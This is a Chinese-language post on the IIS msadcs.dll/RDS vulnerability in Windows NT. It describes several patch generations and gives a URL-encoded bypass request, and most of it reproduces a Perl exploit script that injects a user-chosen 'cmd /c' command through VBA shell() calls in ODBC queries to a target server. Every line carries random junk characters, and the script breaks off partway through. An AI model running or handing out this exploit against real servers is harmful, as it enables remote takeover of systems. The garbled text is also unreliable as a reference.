IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"VIoVu l* ap$1' 涉及程序:
g+RgDt9 Microsoft NT server
^CBc~um2 9Z[EzKd<~' 描述:
Y^Y1re+} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
w'r?)WW$ /%9Ge AAs 详细:
Yl$R$u) 如果你没有时间读详细内容的话,就删除:
23(j < c:\Program Files\Common Files\System\Msadc\msadcs.dll
.="/n8B 有关的安全问题就没有了。
vvi[+$M @$*LU:[ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Y3 V9 ZFxa2J~ ; 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
7{BTtUMAC 关于利用ODBC远程漏洞的描述,请参看:
-qJ%31Mr# :lfUVa{HN http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j@o
\d%.'! &i5MRw_]] 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
sw\O\%^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp W5SCm(QS5 vyA
`Z1 这里不再论述。
Gi+ZI{) W2`/z)[*> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
`;c{E%qeq 2=%R>&]* /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)IFFtU~, 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Cu $mb}@ f(*ygI 2?}5U)Hg #将下面这段保存为txt文件,然后: "perl -x 文件名"
T?4I\SG LkwjEJQf #!perl
AZ7m=Q97 #
~u.((GM # MSADC/RDS 'usage' (aka exploit) script
uD0<|At/ #
i]{-KZC # by rain.forest.puppy
>qL-a*w:a #
2R`dyg # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
H[DBL # beta test and find errors!
vU9j|z Z(|'zAb^ use Socket; use Getopt::Std;
3 q^^Os getopts("e:vd:h:XR", \%args);
sy(8-zbI !uc"|S? print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
K\VL[HP- v;ZIqn" if (!defined $args{h} && !defined $args{R}) {
sQ
aP:@ print qq~
ytyX:e" Usage: msadc.pl -h <host> { -d <delay> -X -v }
P$H9 -h <host> = host you want to scan (ip or domain)
.l:x! -d <seconds> = delay between calls, default 1 second
45(n!"u65 -X = dump Index Server path table, if available
O/ih9, -v = verbose
U{Xx)l/o -e = external dictionary file for step 5
YVW`|'7)| z#u<]] 5 Or a -R will resume a command session
"Nh}_jO 7Ap==J{a ~; exit;}
xV\mS+#
50R&;+b $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
uG^RU\( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*>,#'C2 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
mM;5UPbZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
T$pBgS> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
L3J .Oh if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
r"hogmFD; }{S pV if (!defined $args{R}){ $ret = &has_msadc;
2PDU(R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~a06x^=j y3Q2d7G print "Please type the NT commandline you want to run (cmd /c assumed):\n"
n1Fp$9% . "cmd /c ";
mhi^zHpa $in=<STDIN>; chomp $in;
qZB}}pM# $command="cmd /c " . $in ;
grZ?F~P8 Ch0t' if (defined $args{R}) {&load; exit;}
!)//b] g&?RQ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!WgVk7aP` &try_btcustmr;
C#oH7o+_. P+gYLX8 print "\nStep 2: Trying to make our own DSN...";
N6<G`k, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\ sc's7 P^-daRb
print "\nStep 3: Trying known DSNs...";
#,jw! HO] &known_dsn;
i7jI(VvB^ l|"SM6 print "\nStep 4: Trying known .mdbs...";
/DE`>eJY &known_mdb;
e .( iji2gWV}h if (defined $args{e}){
H6V!W\:s print "\nStep 5: Trying dictionary of DSN names...";
9~|hGo &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
PCX X[N h7
c print "Sorry Charley...maybe next time?\n";
E,gpi exit;
Bxf]Lu,\U@ v[!ZRwk4w3 ##############################################################################
Xo/0lT 'FC#O%l sub sendraw { # ripped and modded from whisker
BW{&A&j sleep($delay); # it's a DoS on the server! At least on mine...
Uy;e5<< my ($pstr)=@_;
U%4s@{7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ATkx_1]KM- die("Socket problems\n");
k3VRa|Y") if(connect(S,pack "SnA4x8",2,80,$target)){
t_NnQ4)= select(S); $|=1;
@mm~i~~KA print $pstr; my @in=<S>;
:&\^r=D select(STDOUT); close(S);
Xd@_:ds return @in;
"LkI '>3} } else { die("Can't connect...\n"); }}
*$*V#,V- b3^d!#KVM ##############################################################################
v?<Tkw ^F "3e1 7dsY sub make_header { # make the HTTP request
*<#$B}!{ my $msadc=<<EOT
IRY/0v POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.H7xG'$ User-Agent: ACTIVEDATA
p`T,VU&. Host: $ip
P+(q38f[ Content-Length: $clen
o`%;*tx Connection: Keep-Alive
up
)JU [ @3WI7q4 ADCClientVersion:01.06
+I[Hxf ~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5K[MKfT 1Farix1YDq --!ADM!ROX!YOUR!WORLD!
5o2vj8:: Content-Type: application/x-varg
p#+Da\qmx Content-Length: $reqlen
2/f!{lz ]( $Y=xu2u) EOT
5"^Z7+6 ; $msadc=~s/\n/\r\n/g;
z8*{i]j return $msadc;}
>A*BRX"4C 7Ug^aA ##############################################################################
vfpK|=[7o du_TiI sub make_req { # make the RDS request
WEsX+okj my ($switch, $p1, $p2)=@_;
)Bpvi4O my $req=""; my $t1, $t2, $query, $dsn;
%?i~`0-:n% Gid6,J if ($switch==1){ # this is the btcustmr.mdb query
WOR H4h9 $query="Select * from Customers where City=" . make_shell();
wpV)y Q^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
bPHtP\) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Rpou.RrXR7 8%#pv} elsif ($switch==2){ # this is general make table query
&p83X $query="create table AZZ (B int, C varchar(10))";
#:M <<gk $dsn="$p1";}
D?`|`Mu |N%#;7 elsif ($switch==3){ # this is general exploit table query
1qN+AT $query="select * from AZZ where C=" . make_shell();
`71(wf1q[f $dsn="$p1";}
~X<Ie9m1x Cs?[
elsif ($switch==4){ # attempt to hork file info from index server
65>}Q.p $query="select path from scope()";
~pG,|\9 $dsn="Provider=MSIDXS;";}
o@@,
} \
ix&U elsif ($switch==5){ # bad query
#J|DW C!#d $query="select";
u3])_oj= $dsn="$p1";}
^rssZQKY[ ,!Q^"aOT: $t1= make_unicode($query);
j@C*kj;- $t2= make_unicode($dsn);
b5t:">wC $req = "\x02\x00\x03\x00";
?CO..l $req.= "\x08\x00" . pack ("S1", length($t1));
D'Y=}I)8Dn $req.= "\x00\x00" . $t1 ;
2YhtD A $req.= "\x08\x00" . pack ("S1", length($t2));
:WHbwu,L$ $req.= "\x00\x00" . $t2 ;
5sI9GC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
NhF<2[mt return $req;}
{/}p"(^ ~LSD\+ ##############################################################################
f,0,:) i[40p!~ sub make_shell { # this makes the shell() statement
*G(ZRj@33 return "'|shell(\"$command\")|'";}
~%d* #Yxq K</="3
HK ##############################################################################
b|E1>TkY *7UDTgY sub make_unicode { # quick little function to convert to unicode
T%[!m5
my ($in)=@_; my $out;
f0]`TjY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
r0j+P% return $out;}
' T%70)CM~ Ot([5/K ##############################################################################
$ i;_yTht Dh.pH1ZY3n sub rdo_success { # checks for RDO return success (this is kludge)
Eq6.
s)10 my (@in) = @_; my $base=content_start(@in);
<= Aqi9 1 if($in[$base]=~/multipart\/mixed/){
/6yH ,{(a return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'm|PSwB7 return 0;}
z\r29IRh At)\$GJ ##############################################################################
m(p0)X),_i RC+`sZE9 sub make_dsn { # this makes a DSN for us
(U^f0wJg my @drives=("c","d","e","f");
J8#3?Lp print "\nMaking DSN: ";
]B=2r^fn foreach $drive (@drives) {
.$N8cYu0 print "$drive: ";
3 Q~zli: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]o2 Z14 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
W $E Ao+V . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
yR4++yk $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
LypBS]ru return 0 if $2 eq "404"; # not found/doesn't exist
6'6,ySo] if($2 eq "200") {
t# <(Q foreach $line (@results) {
.qg 2zE$0 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
-cs$E2
- } return 0;}
D,&o=EU Zg/
],/ ` ##############################################################################
dZ%rmTE(H OoOr@5g sub verify_exists {
'/
*;g#W= my ($page)=@_;
x}X
hL my @results=sendraw("GET $page HTTP/1.0\n\n");
$Eh:m&hq return $results[0];}
-cL wjI L2{b~`UvP ##############################################################################
r9!,cs <)VNEy' sub try_btcustmr {
vCsJnKqK my @drives=("c","d","e","f");
IXof-I%8 my @dirs=("winnt","winnt35","winnt351","win","windows");
@lTd,V5f jV~+=(w) foreach $dir (@dirs) {
+puF0]TR,i print "$dir -> "; # fun status so you can see progress
`&5_~4T7 foreach $drive (@drives) {
jzAXC^FS print "$drive: "; # ditto
-@?4Tfl $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.BrYz:#A $reqlenlen=length( "$reqlen" );
MKZq* $clen= 206 + $reqlenlen + $reqlen;
>o|.0aw< Bl/Z _@ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#bmbK{ [ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
( Qj;B) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
k5o{mWI b }^]TUe@a ##############################################################################
&9Xn:<"`) t2RL|$>F1 sub odbc_error {
7Kn}KO!Y8 my (@in)=@_; my $base;
uE-|]QQo my $base = content_start(@in);
W'L if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
I/Q~rVt $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xa$4P [ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Bf8[(oc~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f2G 3cg~H return $in[$base+4].$in[$base+5].$in[$base+6];}
Uo=_=.GQ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/nz J`d print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)UN_,'H/V $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
`*w!S8} m; *r].EBJ\ ##############################################################################
:?f^D,w_B `IH*~d] sub verbose {
~__rI-/_ my ($in)=@_;
).8NZ
Aj return if !$verbose;
/5"RedP< print STDOUT "\n$in\n";}
NXSjN~aG2 [J
+5 ##############################################################################
MD>xRs cxc-|Xori sub save {
@ w?,7i-S my ($p1, $p2, $p3, $p4)=@_;
fO,m_
OR:) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@: K={AIa print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^C70b)68 close OUT;}
mae@L Ob@HzXH ##############################################################################
n7(/ml+Q_ ?#Y1E~N sub load {
u
-A_l<K my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wrAcVR open(IN,"<rds.save") || die("Couldn't open rds.save\n");
bD<hzOa @p=<IN>; close(IN);
H-jxH,mJmW $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
K?eY<L $target= inet_aton($ip) || die("inet_aton problems");
JGQ)/( print "Resuming to $ip ...";
((T6z$:hA $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
bEli!N$ if($p[1]==1) {
#@}wl $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ewVks>lbz $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
kWbD?i- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
. 9@y*_9 if (rdo_success(@results)){print "Success!\n";}
g![?P"i^t else { print "failed\n"; verbose(odbc_error(@results));}}
&Rt^G elsif ($p[1]==3){
'W*ODAz6 if(run_query("$p[3]")){
~As_O6JI print "Success!\n";} else { print "failed\n"; }}
?v}S9z elsif ($p[1]==4){
w<Ot0&